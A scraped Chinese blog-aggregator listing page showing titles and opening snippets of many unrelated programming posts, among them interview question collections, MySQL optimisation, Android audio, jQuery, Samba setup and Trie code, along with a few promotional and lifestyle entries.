  • 2024年最全使用Python求解方程_python解方程(1)，字节面试官迟到 2401_84569545 程序员python学习面试
    最后硬核资料：关注即可领取PPT模板、简历模板、行业经典书籍PDF。技术互助：技术群大佬指点迷津，你的问题可能不是问题，求资源在群里喊一声。面试题库：由技术群里的小伙伴们共同投稿，热乎的大厂面试真题，持续更新中。知识体系：含编程语言、算法、大数据生态圈组件（Mysql、Hive、Spark、Flink）、数据仓库、Python、前端等等。网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是
  • 2024年最全软件测试面试常见问题【含答案】_软件测试面试常见问题及答案，优秀软件测试程序员必知必会的网络基础 2401_84563179 程序员面试网络职场和发展
    既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上软件测试知识点，真正体系化！由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新需要这份系统化的资料的朋友，可以戳这里获取4、如何保障测试质量？面试官考察：1、你对质量的认知；2、你的过往经验中是如何来保障测试质量的。参考以
  • 479.迪斯尼公主动漫主题网页 大学生期末大作业 Web前端网页制作 html+css+js 仙女网页制作 Web网页设计实例动漫前端课程设计html
    目录一、网页概述二、网页文件三、网页效果四、代码展示1.html2.CSS3.JS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐欢迎光临仙女的网页世界！这里有各行各业的Web前端网页制作的案例，样式齐全新颖，并持续更新！感谢CSDN，提供了这么好的知识学习、技术交流的平台，让我们在这里相遇，小伙伴们，来吧，让我们一起开启Web前端网页制作的奇妙之旅！说起Web前端
  • 剧本杀【搞钱2】复盘解析+凶手是谁+剧透结局+测评+怎么玩？ VX搜_彤彤速递
    每天持续更新复盘有15000＋：线下剧本杀·百变大侦探·我是谜·谁是凶手·玩吧·剧本杀线上·戏精大侦探·魔王杀·儿童剧本杀...所有谜题在等着你去揭开。为了你获得更好的游戏体验，本文仅显示《搞钱2》剧本杀部分真相复盘，获取完整真相复盘只需两步①【微信关注公众号：云云复盘】②回复【搞钱2】即可查看获取哦剧本杀《搞钱2》复盘剧本杀《搞钱2》解析孟小星最早的山庄是怎么回事？这就是一块地引发的惨案。山庄那
  • 【mysql】mysql之优化 向往风的男子 DBAmysql数据库
    本站以分享各种运维经验和运维所需要的技能为主《python零基础入门》：python零基础入门学习《python运维脚本》：python运维脚本实践《shell》：shell学习《terraform》持续更新中：terraform_Aws学习零基础入门到最佳实战《k8》从问题中去学习k8s《docker学习》暂未更新《ceph学习》ceph日常问题解决分享《日志收集》ELK+各种中间件《运维日常》
  • Android14音频进阶之高通Elite架构指定通道播放(八十四) Android系统攻城狮 AndroidAudio工程师进阶系列Android14音频高通Elite架构指定通道播放音频
    简介：CSDN博客专家、《Android系统多媒体进阶实战》一书作者新书发布：《Android系统多媒体进阶实战》优质专栏：Audio工程师进阶系列【原创干货持续更新中……】优质专栏：多媒体系统工程师系列【原创干货持续更新中……】优质视频课程：AAOS车载系统+AOSP14系统攻城狮入门视频实战课人生格言：人生从来没有捷径，只有行动才是治疗恐惧和懒惰的唯一良药.更多原创,欢迎关注：Android系
  • 大模型算法岗，面试百问百答，7天3个offer拿到手！ 爱喝白开水a 算法面试职场和发展ai大模型大语言模型LLM大模型面试
    导读大模型时代很多企业都在开发自己的大模型，这直接刺激了大模型岗位的需求。本文为大家整理了大模型面试相关的知识点，希望对大家面试求职有所帮助。今天分享大模型面试相关知识点，持续更新。1.RAG技术体系的总体思路数据预处理->分块（这一步骤很关键，有时候也决定了模型的效果）->文本向量化->query向量化->向量检索->重排->query+检索内容输入LLM->输出2.使用外挂知识库主要为了解决什
  • 【笔试题汇总】华为春招笔试题题解 2024-3-20 PXM的算法星球 大厂面试题华为面试数据结构算法
    这里是paoxiaomo，一个现役ACMer，之后将会持续更新算法笔记系列以及笔试题题解系列本文章面向想打ICPC/蓝桥杯/天梯赛等程序设计竞赛，以及各个大厂笔试的选手感谢大家的订阅➕和喜欢有什么想看的算法专题可以私信博主（本文题面由清隆学长收集）01.K小姐的魔法药水问题描述K小姐是一位魔法师，她最近在研究一种神奇的魔法药水。这种药水由一系列魔法材料制成，每种材料都有一个正整数的魔法值。K小姐按
  • python提取数据库数据到前端html5显示_python html提取数据库数据 weixin_39878745
    python开源工具列表【持续更新】以下是个人在工作中整理的一些pythonwheel，供参考。这个列表包含与网页抓取和数据处理的Python库网络通用urllib-网络库(stdlib)。requests-网络库。grab–网络库(基于pycurl)。pycurl–网络库(绑定libcurl)。urllib3–...文章武耀文2018-04-253128浏览量8个用于业余项目的优秀Python库
  • 构建数据恢复的坚实防线：MySQL数据恢复策略的文档化实践 liuxin33445566 mysql数据库
    数据恢复策略的文档化是确保企业在面临数据丢失或损坏时能够迅速、有效地恢复数据的关键步骤。在MySQL数据库环境中，这一过程尤为重要，因为良好的文档化不仅有助于规范恢复流程，还能提高团队的响应速度和恢复成功率。本文将详细探讨如何在MySQL中实现数据恢复策略的文档化，包括策略规划、文档编写、存储管理以及持续更新等方面。1.引言在当今的数字化时代，数据的价值日益凸显，数据丢失或损坏可能给企业带来巨大的
  • 前端面试题（附答案）持续更新中…… 卖家导航 程序员前端
    块标签：div、h1~h6、ul、li、table、p、br、form。特征：独占一行，换行显示，可以设置宽高，可以嵌套块和行行标签：span、a、img、textarea、select、option、input。特征：只有在行内显示，内容撑开宽、高，不可以设置宽、高（img、input、textarea等除外）。5.清除浮动⭐⭐⭐父级div定义overflow:hidden结尾处加空div标签c
  • 鸿蒙内核解析,鸿蒙内核源码分析(内存概念篇)|解读鸿蒙源码 刘轩鸿 鸿蒙内核解析
    提示：本文基于开源鸿蒙内核分析，官方源码【kernel_liteos_a】官方文档【docs】参考文档【HuaweiLiteOS】本文作者：鸿蒙内核发烧友，用生活场景讲故事的方式去解构内核，一窥究竟，让神秘的内核栩栩如生，浮现眼前。博文全部原创，持续更新，敬请关注。内容仅代表个人观点，错误之处，欢迎大家指正完善。本系列全部文章进入鸿蒙源码分析(总目录)查看目录最难讲的章节坦白讲内存是整个系列里面最
  • 团聚是最好的旅行 一言伟定
    国庆假期临近之际，大家都在盘算、构思着自己的出行计划，就连最近的朋友圈里也是花样式的旅游出行秀，从不间断而又大体相似的持续更新，一边有意无意的告知他人出行旅游了，一边充斥着种种有关拥堵的抱怨，仿佛抱怨越深，越能证明自己不想出行而又不得不出行的苦衷……放假的前一天，也有好友寒暄式的问我国庆到哪旅游，我说“带着妻儿回老家乡村游”。朋友哈哈大笑，我清楚他的笑声一定是认为我在自我调侃，故作幽默！素不知，这
  • llama_index 官方文档阅读笔记 (持续更新版) 皮卡丘ZPC AIGCforGPT评分体系构架笔记llama人工智能语言模型
    llama0.10.17版本阅读链接:LlamaIndexv0.10.17LlamaIndex是一个基于LLM的应用程序的数据框架，它受益于上下文增强。这种LLM系统被称为RAG系统，代表“检索-增强生成”。LlamaIndex提供了必要的抽象，以便更轻松地摄取、构建和访问私有或特定于域的数据，以便将这些数据安全可靠地注入LLM，以实现更准确的文本生成。为什么选择上下文增强？LLM的局限LLM在人
  • 2024最新微信红包封面序列号大全+领取时间表(持续更新) 全网优惠分享
    每天，我们都在奔波于现实的雾霾里。工作、生活、压力、困扰，如同无尽的泥潭，让我们时刻感到疲惫不堪。然而，在这个被喧嚣包围的世界，我们是否还能保持内心的宁静和平淡？微.信搜索:「封面院」关注公众号可领取红包封面序列号。最新微信红包封面序列号：先到先得，抢完为止：1、pdiqgLsY1lR2、vC8tY0VRf3D3、j0kzzrfwl6Y4、dqRCUZ0lwmJ5、ldT1AnvLljQ6、h0i
  • 微信开发者验证接口开发 362217990 微信 开发者 token 验证
    微信开发者接口验证。 Token，自己随便定义，与微信填写一致就可以了。 根据微信接入指南描述 http://mp.weixin.qq.com/wiki/17/2d4265491f12608cd170a95559800f2d.html 第一步：填写服务器配置 第二步：验证服务器地址的有效性 第三步：依据接口文档实现业务逻辑 这里主要讲第二步验证服务器有效性。 建一个
  • 一个小编程题-类似约瑟夫环问题 BrokenDreams 编程
            今天群友出了一题：         一个数列,把第一个元素删除,然后把第二个元素放到数列的最后,依次操作下去,直到把数列中所有的数都删除,要求依次打印出这个过程中删除的数。      &
  • linux复习笔记之bash shell (5) 关于减号-的作用 eksliang linux关于减号“-”的含义linux关于减号“-”的用途linux关于“-”的含义linux关于减号的含义
        转载请出自出处： http://eksliang.iteye.com/blog/2105677        管道命令在bash的连续处理程序中是相当重要的，尤其在使用到前一个命令的studout（标准输出）作为这次的stdin（标准输入）时，就显得太重要了，某些命令需要用到文件名，例如上篇文档的的切割命令（split）、还有
  • Unix(3) 18289753290 unix ksh
    1)若该变量需要在其他子进程执行，则可用"$变量名称"或${变量}累加内容 什么是子进程？在我目前这个shell情况下，去打开一个新的shell，新的那个shell就是子进程。一般状态下，父进程的自定义变量是无法在子进程内使用的，但通过export将变量变成环境变量后就能够在子进程里面应用了。 2)条件判断： &&代表and  ||代表or&nbs
  • 关于ListView中性能优化中图片加载问题 酷的飞上天空 ListView
    ListView的性能优化网上很多信息，但是涉及到异步加载图片问题就会出现问题。 具体参看上篇文章http://314858770.iteye.com/admin/blogs/1217594   如果每次都重新inflate一个新的View出来肯定会造成性能损失严重，可能会出现listview滚动是很卡的情况，还会出现内存溢出。 现在想出一个方法就是每次都添加一个标识，然后设置图
  • 德国总理默多克：给国人的一堂“震撼教育”课 永夜-极光 教育
    http://bbs.voc.com.cn/topic-2443617-1-1.html德国总理默多克：给国人的一堂“震撼教育”课　 安吉拉—默克尔，一位经历过社会主义的东德人，她利用自己的博客，发表一番来华前的谈话，该说的话，都在上面说了，全世界想看想传播——去看看默克尔总理的博客吧！ 　　德国总理默克尔以她的低调、朴素、谦和、平易近人等品格给国人留下了深刻印象。她以实际行动为中国人上了一堂
  • 关于Java继承的一个小问题。。。 随便小屋 java
    今天看Java 编程思想的时候遇见一个问题，运行的结果和自己想想的完全不一样。先把代码贴出来！ //CanFight接口 interface Canfight { void fight(); } //ActionCharacter类 class ActionCharacter { public void fight() { System.out.pr
  • 23种基本的设计模式 aijuans 设计模式
    Abstract Factory：提供一个创建一系列相关或相互依赖对象的接口，而无需指定它们具体的类。 　　Adapter：将一个类的接口转换成客户希望的另外一个接口。A d a p t e r模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。 　　Bridge：将抽象部分与它的实现部分分离，使它们都可以独立地变化。 　　Builder：将一个复杂对象的构建与它的表示分离，使得同
  • 《周鸿祎自述：我的互联网方法论》读书笔记 aoyouzi 读书笔记
    从用户的角度来看,能解决问题的产品才是好产品,能方便/快速地解决问题的产品,就是一流产品.   商业模式不是赚钱模式 一款产品免费获得海量用户后,它的边际成本趋于0,然后再通过广告或者增值服务的方式赚钱,实际上就是创造了新的价值链.   商业模式的基础是用户,木有用户,任何商业模式都是浮云.商业模式的核心是产品,本质是通过产品为用户创造价值. 商业模式还包括寻找需求
  • JavaScript动态改变样式访问技术 百合不是茶 JavaScriptstyle属性ClassName属性
      一:style属性 格式:  HTML元素.style.样式属性="值";   创建菜单:在html标签中创建 或者 在head标签中用数组创建   <html> <head> <title>style改变样式</title> </head> &l
  • jQuery的deferred对象详解 bijian1013 jquerydeferred对象
            jQuery的开发速度很快，几乎每半年一个大版本，每两个月一个小版本。         每个版本都会引入一些新功能，从jQuery 1.5.0版本开始引入的一个新功能----deferred对象。    &nb
  • 淘宝开放平台TOP Bill_chen C++c物流C#
    淘宝网开放平台首页：http://open.taobao.com/ 淘宝开放平台是淘宝TOP团队的产品，TOP即TaoBao Open Platform， 是淘宝合作伙伴开发、发布、交易其服务的平台。 支撑TOP的三条主线为：    1.开放数据和业务流程     * 以API数据形式开放商品、交易、物流等业务；  &
  • 【大型网站架构一】大型网站架构概述 bit1129 网站架构
    大型互联网特点 面对海量用户、海量数据 大型互联网架构的关键指标 高并发 高性能 高可用 高可扩展性 线性伸缩性 安全性 大型互联网技术要点   前端优化 CDN缓存 反向代理 KV缓存 消息系统 分布式存储 NoSQL数据库 搜索 监控 安全 想到的问题： 1.对于订单系统这种事务型系统，如
  • eclipse插件hibernate tools安装 白糖_ Hibernate
    eclipse helios(3.6)版 1.启动eclipse 2.选择 Help > Install New Software...> 3.添加如下地址： http://download.jboss.org/jbosstools/updates/stable/helios/ 4.选择性安装：hibernate tools在All Jboss tool
  • Jquery easyui Form表单提交注意事项 bozch jquery easyui
    jquery easyui对表单的提交进行了封装，提交的方式采用的是ajax的方式，在开发的时候应该注意的事项如下：         1、在定义form标签的时候，要将method属性设置成post或者get，特别是进行大字段的文本信息提交的时候，要将method设置成post方式提交，否则页面会抛出跨域访问等异常。所以这个要
  • Trie tree(字典树)的Java实现及其应用-统计以某字符串为前缀的单词的数量 bylijinnan java实现
    import java.util.LinkedList; public class CaseInsensitiveTrie { /** 字典树的Java实现。实现了插入、查询以及深度优先遍历。 Trie tree's java implementation.(Insert,Search,DFS) Problem Description Igna
  • html css 鼠标形状样式汇总 chenbowen00 htmlcss
    css鼠标手型cursor中hand与pointer  Example：CSS鼠标手型效果 <a href="#" style="cursor:hand">CSS鼠标手型效果</a><br/>  Example：CSS鼠标手型效果 <a href="#" style=&qu
  • [IT与投资]IT投资的几个原则 comsci it
          无论是想在电商,软件,硬件还是互联网领域投资,都需要大量资金,虽然各个国家政府在媒体上都给予大家承诺,既要让市场的流动性宽松,又要保持经济的高速增长....但是,事实上,整个市场和社会对于真正的资金投入是非常渴望的,也就是说,表面上看起来,市场很活跃,但是投入的资金并不是很充足的......    
  • oracle with语句详解 daizj oraclewithwith as
    oracle with语句详解 转 在oracle中，select 查询语句，可以使用with,就是一个子查询，oracle 会把子查询的结果放到临时表中，可以反复使用 例子:注意，这是sql语句，不是pl/sql语句， 可以直接放到jdbc执行的 ----------------------------------------------------------------
  • hbase的简单操作 deng520159 数据库hbase
    近期公司用hbase来存储日志,然后再来分析 ,把hbase开发经常要用的命令找了出来. 用ssh登陆安装hbase那台linux后 用hbase shell进行hbase命令控制台! 表的管理 1）查看有哪些表 hbase(main)> list 2）创建表   # 语法：create <table>, {NAME => <family&g
  • C语言scanf继续学习、算术运算符学习和逻辑运算符 dcj3sjt126com c
    /* 2013年3月11日20:37:32 地点：北京潘家园 功能：完成用户格式化输入多个值 目的：学习scanf函数的使用 */ # include <stdio.h> int main(void) { int i, j, k; printf("please input three number:\n"); //提示用
  • 2015越来越好 dcj3sjt126com 歌曲
    越来越好 房子大了电话小了 感觉越来越好 假期多了收入高了 工作越来越好 商品精了价格活了 心情越来越好 天更蓝了水更清了 环境越来越好 活得有奔头人会步步高 想做到你要努力去做到 幸福的笑容天天挂眉梢 越来越好 婆媳和了家庭暖了 生活越来越好 孩子高了懂事多了 学习越来越好 朋友多了心相通了 大家越来越好 道路宽了心气顺了 日子越来越好 活的有精神人就不显
  • java.sql.SQLException: Value '0000-00-00' can not be represented as java.sql.Tim feiteyizu mysql
    数据表中有记录的time字段（属性为timestamp）其值为：“0000-00-00 00:00:00” 程序使用select 语句从中取数据时出现以下异常： java.sql.SQLException:Value '0000-00-00' can not be represented as java.sql.Date   java.sql.SQLException: Valu
  • Ehcache（07）——Ehcache对并发的支持 234390216 并发ehcache锁ReadLockWriteLock
    Ehcache对并发的支持          在高并发的情况下，使用Ehcache缓存时，由于并发的读与写，我们读的数据有可能是错误的，我们写的数据也有可能意外的被覆盖。所幸的是Ehcache为我们提供了针对于缓存元素Key的Read（读）、Write（写）锁。当一个线程获取了某一Key的Read锁之后，其它线程获取针对于同
  • mysql中blob,text字段的合成索引 jackyrong mysql
      在mysql中，原来有一个叫合成索引的，可以提高blob,text字段的效率性能， 但只能用在精确查询，核心是增加一个列，然后可以用md5进行散列，用散列值查找 则速度快 比如： create table abc(id varchar(10),context blog,hash_value varchar(40)); insert into abc(1,rep
  • 逻辑运算与移位运算 latty 位运算逻辑运算
    源码：正数的补码与原码相同例+7 源码：00000111 补码 ：00000111 （用8位二进制表示一个数） 负数的补码： 符号位为1，其余位为该数绝对值的原码按位取反；然后整个数加1。   -7 源码： 10000111 ，其绝对值为00000111  取反加一：11111001 为-7补码 已知一个数的补码，求原码的操作分两种情况：
  • 利用XSD 验证XML文件 newerdragon javaxmlxsd
    XSD文件 （XML Schema 语言也称作 XML Schema 定义（XML Schema Definition，XSD）。 具体使用方法和定义请参看： http://www.w3school.com.cn/schema/index.asp java自jdk1.5以上新增了SchemaFactory类 可以实现对XSD验证的支持，使用起来也很方便。 以下代码可用在J
  • 搭建 CentOS 6 服务器(12) - Samba rensanning centos
    （1）安装 # yum -y install samba Installed: samba.i686 0:3.6.9-169.el6_5 # pdbedit -a rensn new password:123456 retype new password:123456 …… （2）Home文件夹 # mkdir /etc
  • Learn Nodejs 01 toknowme nodejs
    （1）下载nodejs https://nodejs.org/download/ 选择相应的版本进行下载     （2）安装nodejs 安装的方式比较多，请baidu下 我这边下载的是“node-v0.12.7-linux-x64.tar.gz”这个版本 （1）上传服务器 （2）解压 tar -zxvf  node-v0.12.
  • jquery控制自动刷新的代码举例 xp9802 jquery
    1、html内容部分  复制代码代码示例: <div id='log_reload'> <select name="id_s" size="1"> <option value='2'>-2s-</option> <option value='3'>-3s-</option
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他